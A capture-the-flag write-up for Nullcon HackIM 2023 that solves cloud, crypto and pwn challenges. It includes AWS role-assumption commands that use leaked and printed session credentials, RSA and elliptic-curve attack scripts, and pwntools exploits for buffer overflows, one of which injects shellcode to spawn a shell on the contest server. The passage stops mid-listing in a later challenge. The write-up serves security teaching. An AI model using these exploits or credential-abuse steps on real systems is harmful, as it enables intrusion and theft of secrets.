# Nullcon HackIM CTF Goa 2023 Write-up by SKSD ## Educated Assumption [Cloud*ish*] The goal of this challenge is to read the flag from AWS Secret Manager. The ARN is known (`arn:aws:secretsmanager:eu-central-1:562778112707:secret:secret-flag-Educated-Assumption`) and we got leaked AWS credential (access key ID, secret access key, and session token). We could configure the local `aws` cli to use the credential. First, we want to know the associated identity of the credential. ```shell= aws sts get-caller-identity ``` ```jsonld= { "UserId": "AROA22D7J5LEAHRVBGHEB:expose-credentials", "Account": "743296330440", "Arn": "arn:aws:sts::743296330440:assumed-role/role_for-lambda-to-assume-role/expose-credentials" } ``` The identity is AWS IAM role with name `role_for-lambda-to-assume-role` in the account `743296330440`. We need to find a way to use this role to read the target secret ARN in the target account (`562778112707`). It happened that this role has permission to call `iam get-role` to retrieve the role's information. ```shell= aws iam get-role ``` ```jsonld= { "Role": { "Path": "/", "RoleName": "role_for-lambda-to-assume-role", "RoleId": "AROA22D7J5LEAHRVBGHEB", "Arn": "arn:aws:iam::743296330440:role/role_for-lambda-to-assume-role", "CreateDate": "2023-08-17T18:06:08+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "allows lambda to assume role", "MaxSessionDuration": 3600, "PermissionsBoundary": { "PermissionsBoundaryType": "Policy", "PermissionsBoundaryArn": "arn:aws:iam::743296330440:policy/permission-boundary_restrict-assumptions" }, "Tags": [ { "Key": "event", "Value": "2023-nullcon-goa" } ], "RoleLastUsed": { "LastUsedDate": "2023-08-20T15:51:52+00:00", "Region": "us-east-1" } } } ``` There is a permission boundary defined with the policy with ARN `arn:aws:iam::743296330440:policy/permission-boundary_restrict-assumptions`. Fortunately, the role has permission to call `iam get-policy` and `iam get-policy-version` to gather further information about the policy. ```shell= aws iam get-policy --policy-arn arn:aws:iam::743296330440:policy/permission-boundary_restrict-assumptions ``` ```jsonld= { "Policy": { "PolicyName": "permission-boundary_restrict-assumptions", "PolicyId": "ANPA22D7J5LEOFCVAS7BA", "Arn": "arn:aws:iam::743296330440:policy/permission-boundary_restrict-assumptions", "Path": "/", "DefaultVersionId": "v9", "AttachmentCount": 0, "PermissionsBoundaryUsageCount": 1, "IsAttachable": true, "Description": "permission-boundary_restrict-assumptions", "CreateDate": "2023-08-17T17:53:41+00:00", "UpdateDate": "2023-08-17T20:54:35+00:00", "Tags": [ { "Key": "event", "Value": "2023-nullcon-goa" } ] } } ``` Use the default version ID of the policy (`v9`). ```shell= aws iam get-policy-version --policy-arn arn:aws:iam::743296330440:policy/permission-boundary_restrict-assumptions --version-id v9 ``` ```jsonld= { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor1", "Effect": "Allow", "Action": [ "iam:GetRole", "iam:ListAttachedRolePolicies" ], "Resource": [ "arn:aws:iam::743296330440:role/role_for-lambda-to-assume-role" ] }, { "Sid": "VisualEditor3", "Effect": "Allow", "Action": [ "iam:GetPolicyVersion", "iam:GetPolicy", "iam:GetRolePolicy" ], "Resource": [ "arn:aws:iam::743296330440:policy/permission-boundary_restrict-assumptions", "arn:aws:iam::743296330440:policy/policy_role-lambda-sts-assume-all" ] }, { "Sid": "VisualEditor2", "Effect": "Allow", "Action": "sts:AssumeRole", "Resource": "arn:aws:iam::*:role/role_to_secretsmanager_read_flag", "Condition": { "StringEquals": { "sts:ExternalId": "nullcon-external-id" } } } ] }, "VersionId": "v9", "IsDefaultVersion": true, "CreateDate": "2023-08-17T20:54:35+00:00" } } ``` The policy allows current role to call `sts assume-role` to another role (`arn:aws:iam::*:role/role_to_secretsmanager_read_flag`) as long as the `sts` API call provides the valid external ID as parameter. From the challenge's description, we know that our target account is `562778112707` so we can try to assume role as `arn:aws:iam::562778112707:role/role_to_secretsmanager_read_flag`. ```shell= aws sts assume-role --role-arn arn:aws:iam::562778112707:role/role_to_secretsmanager_read_flag --external-id nullcon-external-id --role-session-name test ``` ```jsonld= { "Credentials": { "AccessKeyId": "ASIAYGCBQQLB6LECED5N", "SecretAccessKey": "JcL1e4tEjbSrbiQDAqCQg3lFr3L6lzXRTXA23/ke", "SessionToken": "FwoGZXIvYXdzEBoaDL/nBHvMklfD6eE0ICKoAevUg4uroF6nx2PDvy4maodQ5eglFirxa01TQC5uMeMB1ZtTj6ySBk5Zlc9glSjTC8+lbn17A/jAKwMqa1EIIRVPVnEYwvuNKGBAXLc94z/bdolIMyb2WdSDDmwDN5IieS4GbrGQx2SbdYO/yvcekvheIcPXKMX/Up/pe+BWU739fjrQ9r4OvtzWMwrMw2kh7pWAPAxmD6BTEuETStMdoZy2fHrzL+nvBCiwiYmnBjIt/lqEc+Qx4CHoyKcv9HtWX1UWk3E4epGdFBLFbIQz6MoEiUq7teutmirokfvT", "Expiration": "2023-08-20T17:52:00+00:00" }, "AssumedRoleUser": { "AssumedRoleId": "AROAYGCBQQLB5IVBMQ3KF:test", "Arn": "arn:aws:sts::562778112707:assumed-role/role_to_secretsmanager_read_flag/test" } } ``` We got temporary credential for the desired role. After reconfigure the local `aws` cli to use the credential, we can try to do enumeration further to know the permissions of this role but we can try to get the value of target secret storage directly from the desired AWS Secret Manager ARN. From the target ARN, we also know that the region is `eu-central-1`. ```shell= aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:eu-central-1:562778112707:secret:secret-flag-Educated-Assumption --region eu-central-1 ``` ```jsonld= { "ARN": "arn:aws:secretsmanager:eu-central-1:562778112707:secret:secret-flag-Educated-Assumption-CMnnPK", "Name": "secret-flag-Educated-Assumption", "VersionId": "bffd4205-4fff-4b62-bc95-513d8ad4313d", "SecretString": "{\"flag-Eductaed-Assumption\":\"ENO{uR-boundry_m@de-me#Assume}\"}", "VersionStages": [ "AWSCURRENT" ], "CreatedDate": "2023-08-17T22:36:06.243000+08:00" } ``` > flag: ENO{uR-boundry_m@de-me#Assume} ## PS [cry] We are given the following script. ```python= #!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util import number from Crypto.Util.number import bytes_to_long, long_to_bytes import sys from secret import flag key = RSA.generate(2048, e = 3) def encrypt(msg : bytes, key) -> int: m = bytes_to_long(msg) if m.bit_length() + 128 > key.n.bit_length(): return 'Need at least 128 Bit randomness in padding' shift = key.n.bit_length() - m.bit_length() - 1 return pow(m << shift | number.getRandomInteger(shift), key.e, key.n) def loop(): print('My public modulus is:\n%d' % key.n) print('Here is your secret message:') print(encrypt(flag, key)) while True: print('You can also append a word on your own:') sys.stdout.flush() PS = sys.stdin.buffer.readline().strip() print('With these personal words the cipher is:') print(encrypt(flag + PS, key)) if __name__ == '__main__': try: loop() except Exception as err: print(repr(err)) ``` The service encrypts the flag + our input + a random padding, we can minimize the padding by sending the longest input allowed, so the random padding will be around 128 bits, since the e = 3, we can do a coppersmith short pad attack to recover the flag. The script originated from [here](https://github.com/yud121212/Coppersmith-s-Short-Pad-Attack-Franklin-Reiter-Related-Message-Attack/blob/master/coppersmiths_short_pad_attack.sage). ```python= # sage from Crypto.Util.number import * def short_pad_attack(c1, c2, e, n): PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = 130 diff = h.small_roots(X=2^kbits, beta=0.5, epsilon=1/30)[0] # find root < 2^kbits with factor >= n^0.5 return diff def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] from pwn import * ps = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" e = 3 r = remote("52.59.124.14",int(10009)) r.recvuntil("My public modulus is:\n") n = int(r.recvline().strip()) r.recvline() r.sendlineafter("You can also append a word on your own:\n", ps) r.recvline() C1 = int(r.recvline().strip()) r.sendlineafter("You can also append a word on your own:\n", ps) r.recvline() C2 = int(r.recvline().strip()) print(n, C1, C2) assert C1 != C2 diff = short_pad_attack(C1, C2, e, n) m = related_message_attack(C1, C2, diff, e, n) print(long_to_bytes(int(m))) ``` ![](https://hackmd.io/_uploads/Sy1ufv1T3.png) > flag: ENO{we11_5eem5_lik3_128_r4ndom_b1ts_4r3_n0t_3n0ugh} ## Counting [cry] We are given a following script. ```python= #!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long, long_to_bytes import sys import os from secret import flag MAX_COUNT = 128 key = RSA.generate(2048, e = 1337) token = os.urandom(len(flag)) def loop(): print('My public modulus is:\n%d' % key.n) print('Let me count how long it takes you to find the secret token.') for counter in range(MAX_COUNT): message = b'So far we had %03d failed attempts to find the token %s' % (counter, token) print(pow(bytes_to_long(message), key.e, key.n)) print('What is your guess?') sys.stdout.flush() guess = sys.stdin.buffer.readline().strip() if guess == token: print('Congratulations for finding the token after %03d rounds. Here is your flag: %s' % (counter, flag)) sys.stdout.flush() return print('Nope! No more attempts.') if __name__ == '__main__': try: loop() except Exception as err: print('encountered some error') ``` The service encrypts the same message with only difference is in the middle where the round number changes. It is then possible to know the difference between each message, hence we can perform franklin-reiter related message attack, one problem is the token length is unknown so we cannot count the difference between the message (Think of it like this, the difference between `AAAAA -> BAAAA` is not the same as `AAAAAAAAAAA -> BAAAAAAAAAA`). But assuming the length of the flag is somewhat reasonable and because the token have the same length as the flag, we can simply bruteforce the length of the token. ```python= from sage.all import * def gcd(a, b): while b: a, b = b, a % b return a.monic() from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes def franklinreiter(C1, C2, e, N, a, b): print(a,b) # P.<X> = PolynomialRing(Zmod(N)) P = PolynomialRing(Zmod(N), names=('X',)) (X,) = P._first_ngens(1) g1 = (a*X + b)**e - C1 g2 = X**e - C2 print("Result") result = -gcd(g1, g2).coefficients()[0] return long_to_bytes(int(result)) from pwn import * context.log_level = "debug" e = 1337 r = remote("52.59.124.14", 10008) r.recvuntil("My public modulus is:\n") N = int(r.recvline().strip()) r.recvline() C1 = int(r.recvline().strip()) r.recvline() r.sendline(b"0") C2 = int(r.recvline().strip()) print(N, C1, C2) a = 1 counter = 0 for i in range(5, 50): message = b'So far we had %03d failed attempts to find the token %s' % (counter, b"A"*i) message2 = b'So far we had %03d failed attempts to find the token %s' % (counter+1, b"A"*i) print(bytes_to_long(message2) - bytes_to_long(message)) m = franklinreiter(C2, C1, e, N, a, bytes_to_long(message2) - bytes_to_long(message)) print(i, m) if b"So far" in m: print("FOUND", i) break r.sendline(m.split(b"token ")[1]) r.interactive() ``` ![](https://hackmd.io/_uploads/SkhWxY1Tn.png) > flag: ENO{th3_s0lut1on_i5_n0t_th4t_1337} ## Curvy Decryptor [cry] We're given the 3 python scripts. Here's the one of the script called `curvy_decryptor.py` where the main flow of this challenge is located. ```py #!/usr/bin/env python3 import os import sys import string from Crypto.Util import number from Crypto.Util.number import bytes_to_long, long_to_bytes from Crypto.Cipher import AES from binascii import hexlify from ec import * from utils import * from secret import flag1, flag2 #P-256 parameters p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff a = -3 b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551 curve = EllipticCurve(p,a,b, order = n) G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5) d_a = bytes_to_long(os.urandom(32)) P_a = G * d_a printable = [ord(char.encode()) for char in string.printable] def encrypt(msg : bytes, pubkey : ECPoint): x = bytes_to_long(msg) y = modular_sqrt(x**3 + a*x + b, p) m = ECPoint(curve, x, y) d_b = number.getRandomRange(0,n) return (G * d_b, m + (pubkey * d_b)) def decrypt(B : ECPoint, c : ECPoint, d_a : int): if B.inf or c.inf: return b'' return long_to_bytes((c - (B * d_a)).x) def loop(): print('I will decrypt anythin as long as it does not talk about flags.') balance = 1024 while True: print('B:', end = '') sys.stdout.flush() B_input = sys.stdin.buffer.readline().strip().decode() print('c:', end = '') sys.stdout.flush() c_input = sys.stdin.buffer.readline().strip().decode() B = ECPoint(curve, *[int(_) for _ in B_input.split(',')]) c = ECPoint(curve, *[int(_) for _ in c_input.split(',')]) msg = decrypt(B, c, d_a) if b'ENO' in msg: balance = -1 else: balance -= 1 + len([c for c in msg if c in printable]) if balance >= 0: print(hexlify(msg)) print('balance left: %d' % balance) else: print('You cannot afford any more decryptions.') return if __name__ == '__main__': print('My public key is:') print(P_a) print('Good luck decrypting this cipher.') B,c = encrypt(flag1, P_a) print(B) print(c) key = long_to_bytes((d_a >> (8*16)) ^ (d_a & 0xffffffffffffffffffffffffffffffff)) enc = AES.new(key, AES.MODE_ECB) cipher = enc.encrypt(flag2) print(hexlify(cipher).decode()) try: loop() except Exception as err: print(repr(err)) ``` This script implements the Elgamal encryption based on Elliptic Curve. It uses private key `d_a` to decrypt any encrypted message and public key `P_a` where `P_a = G * d_a` to encrypt any message. **TL;DR** - P-256 curve is used - The encryption will encrypt message `m` into `B` and `c` where `B = G * d_b` and `c = m + (P_a * d_b)` - The decryption will take two inputs `B` and `c` from user, then recover `m` by computing `c - (B * d_a)` - We can prove this scheme is true since `c - (B * d_a) = m + (P_a * d_b) - (G * d_b * d_a) = m + (G * d_a * d_b) - (G * d_b * d_a) = m` - We can't decrypt the encrypted flag1 directly since the program will check whether there's "ENO" string or not in the decrypted message Since we have a full control over `B` and `c`, we can _trick_ the decryption process by trying to decrypt the message `m + G` so that the string "ENO" doesn't appear in the decryption result. As we have the decrypted result (which is the x-coordinate of point `m + G`), then we can calculate the original `m` locally by subtracting it with `G`. ``` My public key is: Point(35328020660011696586564709258679785381786343512657089812378287082952917934716, 50416609790690128272655082973486394880002358124206268101298526556963890817882) Good luck decrypting this cipher. Point(104154835773696245508276030859477464297007825271904213255158699262376517719952, 53449655463778645126537272461287855887128030500959951790357090736353714142083) Point(52168834033775429783455814818719333757981140192623818913235122708297420734798, 104323109031322302473535719172928547306740421293266175085426829976948991264626) 4d5cc7368d8ec8481b44309ee0e0bcc7 I will decrypt anythin as long as it does not talk about flags. B: ``` Let's take the `P_a`, `B`, and `c` values to our solver script. ```py from fastecdsa.curve import P256 from fastecdsa.point import Point G = P256.G P = Point(35328020660011696586564709258679785381786343512657089812378287082952917934716, 50416609790690128272655082973486394880002358124206268101298526556963890817882) B = Point(104154835773696245508276030859477464297007825271904213255158699262376517719952, 53449655463778645126537272461287855887128030500959951790357090736353714142083) c = Point(52168834033775429783455814818719333757981140192623818913235122708297420734798, 104323109031322302473535719172928547306740421293266175085426829976948991264626) new_c = c + G print(f"{int(B.x)}, {int(B.y)}") print(f"{int(new_c.x)}, {int(new_c.y)}") ``` ```bash $ python3 solve.py 104154835773696245508276030859477464297007825271904213255158699262376517719952, 53449655463778645126537272461287855887128030500959951790357090736353714142083 97394679619587788933333201089550117417489418909990818455148320248855936249801, 82185379848596875687249291483240443665288425087915452032458758698163910630490 ``` ``` My public key is: Point(35328020660011696586564709258679785381786343512657089812378287082952917934716, 50416609790690128272655082973486394880002358124206268101298526556963890817882) Good luck decrypting this cipher. Point(104154835773696245508276030859477464297007825271904213255158699262376517719952, 53449655463778645126537272461287855887128030500959951790357090736353714142083) Point(52168834033775429783455814818719333757981140192623818913235122708297420734798, 104323109031322302473535719172928547306740421293266175085426829976948991264626) 4d5cc7368d8ec8481b44309ee0e0bcc7 I will decrypt anythin as long as it does not talk about flags. B:104154835773696245508276030859477464297007825271904213255158699262376517719952, 53449655463778645126537272461287855887128030500959951790357090736353714142083 c:97394679619587788933333201089550117417489418909990818455148320248855936249801, 82185379848596875687249291483240443665288425087915452032458758698163910630490 b'cc5ceac68ba0e89194b84049ccab1d1a5a6b0825801ec3f2a2b9e8fc871548aa' balance left: 1016 B: ``` ```py from fastecdsa.curve import P256 from fastecdsa.point import Point from utils import * from Crypto.Util.number import * x = 0xcc5ceac68ba0e89194b84049ccab1d1a5a6b0825801ec3f2a2b9e8fc871548aa y = modular_sqrt(x**3 + P256.a*x + P256.b, P256.p) m = Point(x, y) m -= P256.G print(m.x) print(long_to_bytes(m.x)) ``` ```bash $ python3 solve.py 478331744150452007169656202614580135667533560163676060093785159488648061 b'ENO{ElGam4l_1s_mult1pl1cativ3}' ``` > flag: ENO{ElGam4l_1s_mult1pl1cativ3} ## Euclidean RSA [cry] We are given the following script and the generated output. ```py #!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long from secret import flag, magic while True: try: key = RSA.generate(2048) a,b,c,d = magic(key) break except: pass assert a**2 + b**2 == key.n assert c**2 + d**2 == key.n for _ in [a,b,c,d]: print(_) cipher = pow(bytes_to_long(flag), key.e, key.n) print(cipher) ``` ``` 139488614271687589953884690592970545345100917058745264617112217132329766542251923634602298183777415221556922931467521901793230800271771036880075840122128322419937786441619850848876309600263298041438727684373621920233326334840988865922273325440799379584418142760239470239003470212399313033715405566836809419407 68334789534409058399709747444525414762334123566273125910569662060699644186162637240997793681284151882169786866201685085241431171760907057806355318216602175990235605823755224694383202043476486594392938995563562039702918509120988489287149220217082428193897933957628562633459049042920472531693730366503272507672 124011822519139836919119491309637022805378274989854408578991029026928119002489232335977596528581855016599610031796540079373031282148998625318658034408770283112750172223328012238338715644743140990997114236125750813379366262418292349962679006556523851370694404238101553966330965676189731474108393418372330606063 93529593432394381438671783119087013080855868893236377597950059020717371498802208966524066540234253992421963224344343067174201693672350438201011499762718490958025617655722916641293034417795512315497126128726644064013248230211347407788186320320456853993252621916838570027019607155835349111757703654306736031792 2819638499688340337879314536945338371611392232636746056275506290935131270682791584873534866138393305591899169164183372576878693678187335219904407119253951099126339949954303448641761723704171837075206394491403411400326176280981393624784437102905397888236098861970020785226848615566768625581096019917060387964269283048823007992992874533775547300443032304973521568046956516203101626941042560505073773998143068621715480774707735064134961852206070850277695448391038882766344567740211926618750074636868149063283746597347807257171871016202588384726430246523650462866812935130465049824665395626882280287488078029119879891722 ``` We're not given any factor of modulus N, but fortunately we have 4 numbers a, b, c, d which satisfy a^2 + b^2 = c^2 + d^2 = n. Since modulus N is obviously not a prime number and can be expressed as the sum of two squares in two distinct ways, it can be written as a product of two integers each of which is a sum of two squares. ```py from Crypto.Util.number import * a = 139488614271687589953884690592970545345100917058745264617112217132329766542251923634602298183777415221556922931467521901793230800271771036880075840122128322419937786441619850848876309600263298041438727684373621920233326334840988865922273325440799379584418142760239470239003470212399313033715405566836809419407 b = 68334789534409058399709747444525414762334123566273125910569662060699644186162637240997793681284151882169786866201685085241431171760907057806355318216602175990235605823755224694383202043476486594392938995563562039702918509120988489287149220217082428193897933957628562633459049042920472531693730366503272507672 c = 124011822519139836919119491309637022805378274989854408578991029026928119002489232335977596528581855016599610031796540079373031282148998625318658034408770283112750172223328012238338715644743140990997114236125750813379366262418292349962679006556523851370694404238101553966330965676189731474108393418372330606063 d = 93529593432394381438671783119087013080855868893236377597950059020717371498802208966524066540234253992421963224344343067174201693672350438201011499762718490958025617655722916641293034417795512315497126128726644064013248230211347407788186320320456853993252621916838570027019607155835349111757703654306736031792 assert a**2 + b**2 == c**2 + d**2 n = a**2 + b**2 e = 65537 ct = 2819638499688340337879314536945338371611392232636746056275506290935131270682791584873534866138393305591899169164183372576878693678187335219904407119253951099126339949954303448641761723704171837075206394491403411400326176280981393624784437102905397888236098861970020785226848615566768625581096019917060387964269283048823007992992874533775547300443032304973521568046956516203101626941042560505073773998143068621715480774707735064134961852206070850277695448391038882766344567740211926618750074636868149063283746597347807257171871016202588384726430246523650462866812935130465049824665395626882280287488078029119879891722 p = GCD(n, a*c - b*d) q = n // p d = inverse(e, (p-1)*(q-1)) print(long_to_bytes(pow(ct, d, n))) ``` ```bash $ python3 solve.py b'ENO{Gauss_t0ld_u5_th3r3_1s_mor3_th4n_on3_d1men5i0n}' ``` > flag: ENO{Gauss_t0ld_u5_th3r3_1s_mor3_th4n_on3_d1men5i0n} ## Sebastian's Secret Sharing [cry] We are given the following script: ```python= #!/usr/bin/env python3 import random from decimal import Decimal,getcontext class SeSeSe: def __init__(self, s, n, t): self.s = int.from_bytes(s.encode()) self.l = len(s) self.n = n self.t = t self.a = self._a() def _a(self): c = [self.s] for i in range(self.t-1): a = Decimal(random.randint(self.s+1, self.s*2)) c.append(a) return c def encode(self): s = [] for j in range(self.n): x = j px = sum([self.a[i] * x**i for i in range(self.t)]) s.append((x,px)) return s def decode(self, shares): assert len(shares)==self.t secret = Decimal(0) for j in range(self.t): yj = Decimal(shares[j][1]) r = Decimal(1) for m in range(self.t): if m == j: continue xm = Decimal(shares[m][0]) xj = Decimal(shares[j][0]) r *= Decimal(xm/Decimal(xm-xj)) secret += Decimal(yj * r) return int(round(Decimal(secret),0)).to_bytes(self.l).decode() if __name__ == "__main__": getcontext().prec = 256 # beat devision with precision :D n = random.randint(50,150) t = random.randint(5,10) sss = SeSeSe(s=open("flag.txt",'r').read(), n=n, t=t) shares = sss.encode() print(f"Welcome to Sebastian's Secret Sharing!") print(f"I have split my secret into 1..N={sss.n} shares, and you need t={sss.t} shares to recover it.") print(f"However, I will only give you {sss.t-1} shares :P") for i in range(1,sss.t): try: sid = int(input(f"{i}.: Choose a share: ")) if 1 <= sid <= sss.n: print(shares[sid % sss.n]) except: pass print("Good luck!") ``` Looking at the script, we can see that the flag is at the first element of `a`, that is `a[0] = flag` let's take a look at how the shares are generated ```python def encode(self): s = [] for j in range(self.n): x = j px = sum([self.a[i] * x**i for i in range(self.t)]) s.append((x,px)) return s ``` Here we can see that the very first element of `s` uses `x = 0`, which means that all `x**i` should be all 0 and thus `px = 0`, HOWEVER, in python, `0**0` is actually a 1, which means that `px = a[0] * 1 = a[0] = flag` so by getting the very first share, we immediately got the flag. ```python! try: sid = int(input(f"{i}.: Choose a share: ")) if 1 <= sid <= sss.n: print(shares[sid % sss.n]) except: pass ``` We can't access index 0 directly, but since we can choose sid up to `sss.n`, then `sss.n % sss.n = 0` ![](https://hackmd.io/_uploads/Sk5CzK1Th.png) > flag: ENO{SeCr3t_Sh4m1r_H4sh1ng} ## Heavens Flow [pwn] We were given a binary. The information about the binary can be seen below: Decompiled binary: ```c= int heavens_secret() { char v1; // [rsp+7h] [rbp-9h] FILE *stream; // [rsp+8h] [rbp-8h] stream = fopen("flag.txt", "r"); do { v1 = fgetc(stream); putchar(v1); } while ( v1 != -1 ); return fclose(stream); } int __cdecl main(int argc, const char **argv, const char **envp) { char nptr[524]; // [rsp+0h] [rbp-210h] BYREF int v5; // [rsp+20Ch] [rbp-4h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("Welcome to heaven!"); puts("what would you like to do here:"); printf(" 1. rest\n 2. have fun\n 3. relive a memory\n 4. get the flag\n>>"); gets(nptr); v5 = atoi(nptr); if ( nptr[0] == 52 ) return puts("what is this option?"); if ( nptr[0] <= 52 ) { if ( nptr[0] == 51 ) return puts("wether it's a good one or a hurtful one we all want to relive a memory, so here you go."); if ( nptr[0] <= 51 ) { if ( nptr[0] == 49 ) return puts("you chose wisely, after all you have been through u deserve to rest"); if ( nptr[0] == 50 ) return puts("nice choice!!!. who doesnt want to have fun in their life ;)"); } } return puts("dude how did you even get here!?"); } ``` The program ask the user for input a data using the gets() function which doesn't perform a boundary check, so it will cause a vulnerability called Buffer Overflow. Since there's a function to read and print the content of the flag file (`heavens_secret` function), we can perform ROP to do ret2win (return to the `heavens_secret` function). Solver: ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/heaven" TARGET = DIR + EXECUTABLE HOST, PORT = "52.59.124.14", 10050 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][0] cmd = choosen_gdb + """ """ gdb.attach(io, gdbscript=cmd) p = b"" p += b"A"*(0x210) # sub rbp, 0x210 p += p64(0xdeadbeef) # rbp p += p64(elf.symbols["heavens_secret"]) # rip io.sendline(p) io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) # libc = ELF("___") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) # libc = ELF("___") exploit(io, libc) ``` ![](https://hackmd.io/_uploads/S1QeyOyah.png) > flag: ENO{h34v3nly_4ddr355_f0r_th3_w1n} ## Babypwn [pwn] We were given a binary file and it source code. Here's the binary information and the source code of the binary. Binary Information: ![](https://hackmd.io/_uploads/rJD9-Pkp2.png) Source code: ```c= #include <stdio.h> #include <unistd.h> int main() { setbuf(stdout, NULL); char username[512]; printf("You shell play a game against @gehaxelt! Win it to get ./flag.txt!\n"); printf("Your game slot is at: %p\n", username); printf("What's your name?\n"); read(1, username, 1024); printf("Ok, it's your turn, %s!\n", username); printf("You lost! Sorry :-(\n"); return 0; } ``` The program will leak the stack address by printing it using the printf() with "%p" format (it will print the address of the `username` variable). Then, the program will ask the user to input data using the `read()` function with 1024 bytes as it maximal input size, and it will store the data into the `username` variable. However, since the variable 'username' can only hold data up to 512 bytes, this results in a buffer overflow vulnerability. Due to the NX protection being disabled (which means the stack has permission rwx), we can inject a shellcode into the payload to gain a shell. To obtain the shellcode, simply overwrite the saved return instruction pointer (RIP) with the address of the 'username' variable using a Buffer Overflow. Solver: ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/babypwn" TARGET = DIR + EXECUTABLE HOST, PORT = "52.59.124.14", 10020 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][0] cmd = choosen_gdb + """ b *main+142 """ gdb.attach(io, gdbscript=cmd) io.recvuntil(b"Your game slot is at: ") LEAKED_STACK = int(io.recvuntil(b"\n", drop=True).decode(), 16) print("LEAKED_STACK :", hex(LEAKED_STACK)) RIP_OFFSET = 0x200+8 # sub rsp, 0x200 (+8 to overwrite rbp) p = b"" p += asm(shellcraft.sh()).ljust(RIP_OFFSET) p += p64(LEAKED_STACK) io.send(p.ljust(1024, b"\x00")) # 1024 (the max input size), from: read(1, username, 1024); io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) # libc = ELF("___") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) # libc = ELF("___") exploit(io, libc) ``` ![](https://hackmd.io/_uploads/r1FU0D1a2.png) > flag: ENO{Even_B4B1es_C4n_H4ck!} ## Hack the Hash [pwn] We were given a binary and three libraries file. The binary and the library files information can be seen below. Binary Information: ![](https://hackmd.io/_uploads/BkLi1uyTn.png) Library Information: ![](https://hackmd.io/_uploads/r1_1xuyTn.png) Let's take a look at the decompiled binary code below ```c= int __cdecl sub_123D(char *a1, void *s) { size_t v2; // eax memset(s, 0, 4u); v2 = strlen(a1); return SHA1(a1, v2 - 1, s); } _BOOL4 __cdecl compare_hash__sub_128A(char *s1, int a2) { size_t v2; // eax char s[41]; // [esp+3h] [ebp-35h] BYREF int i; // [esp+2Ch] [ebp-Ch] memset(s, 0, sizeof(s)); for ( i = 0; i <= 19; ++i ) sprintf(&s[2 * i], "%02x", *(unsigned __int8 *)(i + a2)); v2 = strlen(s1); return strncmp(s1, s, v2 - 1) == 0; } _BOOL4 __cdecl login__sub_1329(char *s1, char *a2) { size_t v2; // eax char s[18]; // [esp+Ah] [ebp-1Eh] BYREF int v5; // [esp+1Ch] [ebp-Ch] memset(s, 0, sizeof(s)); v5 = 0x1337; 